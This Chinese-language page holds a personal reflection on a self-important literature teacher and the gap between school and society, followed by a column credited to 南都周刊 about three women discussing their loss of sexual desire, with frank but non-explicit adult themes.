以前候有个语文老师,当时好像是考出了文学博士还是硕士的,在学校里面句牛逼,括弧自我感觉,一上课动不动就给我们讲语言的驾驭能力,还有她以前的同学多么有才华,边说边满教室溜达,有可能随机溜达到你身边就让你展示你的驾驭能力,当时真让她就给折腾崩溃了,不想听她扯蛋吧,但是还不能不听,根本就听不懂吧但是还非要回答问题,她的特点是,就喜欢找隐藏在角落的人回答问题,然后再从别人的驾驭能力里面引伸出等等她的高见。

她的这种行为倒是成全了我们班的两位高人,两位才人,直接就驾驭着自己的文学能力进入娱乐圈了,而我等连啥是主谓宾的人都不是很清楚的人就真是让她折腾的云里雾里的。

直到多年后,在路上遇到这位老师,让我想起了以前的这一段学生生活,以及她曾经的话,曾经的行为,曾经的疯狂,让人深刻的感觉到,学校与社会真的是差别很大,学校容易让人自大,因为在小环境里面,能看见能听到的很少,自以为是的毛病很容易出现,就像我反复跟别人说的,以前在学校的风云人物到了社会上有很大的几率变得默默无闻,而真正的强者是对社会的感悟理解以及能让自己变成塔顶部分的那种人的行为能力。

我也不知道想说什么,随着感觉走吧,想想过去,想想现在,为的就是我在以后看到这篇文章的时候能深刻的感受到我现在当下正在经历着的稚嫩与可笑。

性冷感说

3个女人在房间里各做各事,因为谁的一句“我很久不做爱了”共鸣起来。

看电视那个说:“我已经2年没有欲望了。”2年前她刚和爱得死去活来的男人分手,他给过她许多美好回忆,包括做爱做到腰疼。可是他不爱了也很彻底,她不能问不能闻,被他的新任剥夺关心的权利。她强迫忘记,强迫独立,等感情适应了,性也冷了。不敢再爱虚伪大叔的她,偶尔花痴一下小男生,偶尔幻想一下同性恋,真到床上一躺,立刻死鱼。

吃盒饭那个说:“做爱没意思。我也不想交女朋友了。”作为资深拉拉,她曾深信自己从身心到技术,都优于男人,她的“太太”刚和男人结婚第一个月就迷恋上她,2个人关起门来爱到昏天暗地。后来呢,“太太”出国,还与她保持密切联系,回来那天24小时不出房门,饭也在床上吃,淋漓尽致之后,把她像过期食品一扔,和丈夫团聚去了。因此她觉得女人的“我爱你”是不可靠的,为了性满足可以放荡得像婊子一样,提上裤子就忘了你的付出。

对镜梳妆那个说:“我越来越少做爱,因为样本太重复了。”以前她至少一周一次,现在她三个月到半年不做都ok,而且没有憋得透不过气的感觉。相反,她玩起钓鱼游戏,常常在网上虚晃一枪,以约炮名义征集饥渴的男人,看他们争先恐后要上钩,却垂着直钩,慢慢打量男人的身份面貌,调戏几句,然后什么也不做。被需要好过被做爱,她是这样区分的,男人一旦上床,样本差别就小了。

3个女人年龄不同,经历不同,取向不同。能像朋友一样呆着,全拜“性冷淡”所赐。她们不需要抢夺男人资源,也不用攀比魅力。甚至连女人的“劣根性”也搞得一清二楚,以致能张口自嘲了。一个说自己的感情观是召之即来挥之即去,另一个就说你跟那些小男生的想法是一样的。一个说自己对女人也失望至极了,另一个就说可是你也爱不上男人。

如果建立一个性冷女人互助治疗所,想必和戒烟互助会一样热闹。她们可以举证自己如何走到这一步,男人的伤害会是第一位,男人的无趣会是第二位,揭发他们在人格缺陷和床品低劣方面贡献了什么,定可如数家珍。然后伶牙俐齿者蹦出一句:中国没有绅士教育,但好在也没有淑女教育,所以就一起破罐子破摔了。

这倒提醒我,“性冷淡”也可以交叉传染的。如果我是那个看电视的女生,我会学那个吃“盒饭”的太太,找一个像对镜梳妆那个一样玩世不恭的男人,对他说:“你是我喜欢的第一个男人,以前我只喜欢女人。”这样他会因为她的特别而尝试,当他真的开始动了感情,并且在床上越来越投入,她可以拎上裤子说:“对不起,我的女人回来了。”

来源:南都周刊